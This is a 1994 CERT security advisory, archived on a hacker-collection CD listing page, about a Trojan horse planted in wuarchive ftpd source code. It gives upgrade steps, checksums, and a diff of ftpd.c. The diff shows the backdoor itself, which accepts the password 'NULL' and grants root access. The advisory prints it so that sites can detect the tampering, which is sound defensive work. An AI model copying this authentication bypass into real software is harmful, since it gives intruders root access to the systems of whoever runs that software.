home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / general / cert0079.txt < prev    next >
Encoding:
Text File  |  2003-06-11  |  6.4 KB  |  179 lines

  1.  
  2. -----BEGIN PGP SIGNED MESSAGE-----
  3.  
  4. =============================================================================
  5. CERT(sm) Advisory CA-94:07 
  6. Original issue date:  April 6, 1994
  7. Last revised: August 30, 1996
  8.               Information previously in the README was inserted
  9.               into the advisory.
  10.  
  11.               A complete revision history is at the end of this file.
  12.                     
  13. Topic:  wuarchive ftpd Trojan Horse
  14. - -----------------------------------------------------------------------------
  15.  
  16. The CERT Coordination Center has received confirmation that some copies
  17. of the source code for the wuarchive FTP daemon (ftpd) were modified by 
  18. an intruder, and contain a Trojan horse.
  19.  
  20. We strongly recommend that any site running the wuarchive ftpd take steps 
  21. to immediately install version 2.3, or disable their FTP daemon.
  22.  
  23. - -----------------------------------------------------------------------------
  24.  
  25. I.   Description
  26.  
  27.      Some copies of the source code for versions 2.2 and 2.1f of the 
  28.      wuarchive ftpd were modified by an intruder, and contain a Trojan
  29.      horse.  If your FTP daemon was compiled from the intruder-modified 
  30.      source code, you are vulnerable.
  31.  
  32.      It is possible that previous versions of the source code for the server 
  33.      were modified in a similar manner.
  34.  
  35.      If you are running the wuarchive ftpd, but not providing anonymous FTP 
  36.      access, you are still vulnerable to this Trojan horse.
  37.  
  38.  
  39. II.  Impact
  40.  
  41.      An intruder can gain root access on a host running an FTP daemon 
  42.      that contains this Trojan horse.
  43.  
  44.  
  45. III. Solution
  46.  
  47.      We strongly recommend that any site running the wuarchive ftpd (version 
  48.      2.2 or earlier) take steps to install the current version. 
  49.  
  50.      If you cannot install the new version in a timely manner, you should 
  51.      disable FTP service.  It is not sufficient to disable anonymous FTP.  
  52.      You must disable the FTP daemon. 
  53.  
  54.      Sites can obtain version 2.4 via anonymous FTP from 
  55.         ftp://ftp.uu.net/networking/ftp/wuarchive-ftpd
  56.  
  57.      We recommend that you turn off your FTP server until you have installed
  58.      the new version.   
  59.  
  60.      Be certain to verify the checksum information to confirm that you have
  61.      retrieved a valid copy.
  62.  
  63.         CHECKSUMS
  64.         System V sum
  65.         ============
  66.         51092    16  patch_2.3-2.4.Z
  67.         20337   362  wu-ftpd-2.4.tar.Z
  68.  
  69.         Berkeley sum
  70.         ============
  71.         09291     8  patch_2.3-2.4.Z
  72.         38213   181  wu-ftpd-2.4.tar.Z
  73.  
  74.         md5 checksum
  75.         ============
  76.         MD5 (patch_2.3-2.4.Z)   = 5558a04d9da7cdb1113b158aff89be8f
  77.         MD5 (wu-ftpd-2.4.tar.Z) = cdcb237b71082fa23706429134d8c32e
  78.  
  79.  
  80. - ---------------------------------------------------------------------------
  81. The CERT Coordination Center wishes to thank Bryan O'Connor and Chris Myers 
  82. of Washington University in St. Louis for their invaluable assistance in 
  83. resolving this problem.  CERT also gratefully acknowledges the help of
  84. Neil Woods and Karl Strickland.
  85. - ---------------------------------------------------------------------------
  86.  
  87. If you believe that your system has been compromised, contact the CERT
  88. Coordination Center or your representative in the Forum of Incident
  89. Response and Security Teams (FIRST).
  90.  
  91. If you wish to send sensitive incident or vulnerability information to 
  92. CERT via electronic mail, CERT strongly advises that the e-mail be encrypted.
  93. CERT can support a shared DES key, PGP (public key available via
  94. anonymous FTP on info.cert.org), or PEM (contact CERT for details).
  95.  
  96. Internet E-mail: cert@cert.org
  97. Telephone: 412-268-7090 (24-hour hotline)
  98.            CERT personnel answer 8:30 a.m.-5:00 p.m. EST(GMT-5)/EDT(GMT-4),
  99.            and are on call for emergencies during other hours.
  100.  
  101. CERT Coordination Center
  102. Software Engineering Institute
  103. Carnegie Mellon University
  104. Pittsburgh, PA 15213-3890
  105.  
  106. Past advisories, information about FIRST representatives, and other
  107. information related to computer security are available via anonymous
  108. FTP from info.cert.org.
  109.  
  110. Copyright 1994, 1995, 1996 Carnegie Mellon University
  111. This material may be reproduced and distributed without permission provided
  112. it is used for noncommercial purposes and the copyright statement is
  113. included.
  114.  
  115. CERT is a service mark of Carnegie Mellon University.
  116.  
  117. ==========================================================================
  118. UPDATES
  119.  
  120. Added April 7, 1994
  121.  
  122. The Trojan horse described in CA-94:07 provides a back-door password
  123. for any username other than "anonymous." It would be trivial for an
  124. intruder to modify the back-door password or other details of the
  125. Trojan horse code.  The "diff" described in #1 below will help you
  126. detect only the Trojan horse referenced in the advisory.  It will
  127. not detect any other Trojan horses.
  128.  
  129.  
  130. Clarifications:
  131.  
  132. 1) If you have modified any version of the wuarchive ftpd and cannot
  133. install the new version, 2.3, you may detect the existence of the
  134. discovered Trojan horse with the following diff on ftpd.c:
  135.  
  136. 1013,1015c1013,1014
  137. <         if ((pw == NULL || *pw->pw_passwd == '\0' ||
  138. <             strcmp(xpasswd, pw->pw_passwd)) &&
  139. <             (strcmp(passwd, "NULL"))) {
  140. - ---
  141. >         if (pw == NULL || *pw->pw_passwd == '\0' ||
  142. >             strcmp(xpasswd, pw->pw_passwd)) {
  143.  
  144.  
  145. 2) Since the versions containing the Trojan horse were found in a
  146. number of locations, it is possible that your version of the wuarchive
  147. ftpd software contains the Trojan horse regardless of the distribution
  148. site from which you obtained the source code.
  149.  
  150. 3) If you have any questions concerning the wuarchive ftpd software,
  151. send mail to:
  152.  
  153. Bryan D. O'Connor
  154. Office of the Network Coordinator
  155. bryan@fegmania.wustl.edu
  156. Washington University in Saint Louis
  157. http://fegmania.wustl.edu/~bryan
  158.  
  159.  
  160. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  161. Revision history
  162.  
  163. Aug. 30, 1996  Information previously in the README was inserted
  164.                into the advisory.
  165. Feb. 02, 1995  Sec. III - Inserted a pointer and checksums for wu-ftpd-2.4.
  166. Apr. 07, 1994  Updates - Added clarifications and additional assistance.
  167.  
  168.  
  169. -----BEGIN PGP SIGNATURE-----
  170. Version: 2.6.2
  171.  
  172. iQCUAwUBMiSUvnVP+x0t4w7BAQFwIAP41FSLVC5BtjXLKoVn/BwMqnd4evSwyOx3
  173. ku5WmrqrSQ3nXbvQ3Zq7RyyWd8BaOLGFR0WxG8+RglV6roIBTsc0VxdJUssbR0rq
  174. DG5JOWal74yQjS8wgVWw6oFIeyviJwDPHWZNoP1YZrW3WAsDfx2lodEFuxJj2aIp
  175. PGdYDywz0Q==
  176. =6BHM
  177. -----END PGP SIGNATURE-----
  178.  
  179.